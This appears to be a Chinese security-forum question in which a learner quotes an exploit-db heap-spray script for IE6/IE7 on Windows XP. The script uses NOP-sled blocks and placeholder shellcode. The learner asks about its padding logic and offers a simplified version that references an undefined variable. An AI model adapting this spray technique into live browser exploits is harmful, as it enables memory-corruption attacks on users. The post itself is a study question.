就是这篇以前又看雪的大神翻译的文章，以下是连接

http://bbs.pediy.com/thread-151381.htm

其中第37页，列举出一段在exploit-db上找到的，对ie6,ie7在xp下可用的脚本

<script >

var shellcode = unescape('%u\4141%u\4141');

var bigblock = unescape('%u\9090%u\9090');

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

</script>

</html>

其实我看不明白这里的具体过程，换一种简单的写法，如

<script>
   var shellcode = unescape('%u\4141%u\4141');
   var bigblock = unescape('%u\9090%u\9090');
   while(bigblock.length<0x40000)bigblock+=bigblock;
   var memory = new Array();
   for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>

这样写行不行呢？exploit-db的这段脚本，我看不明白其中的逻辑，希望大神指点一下

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课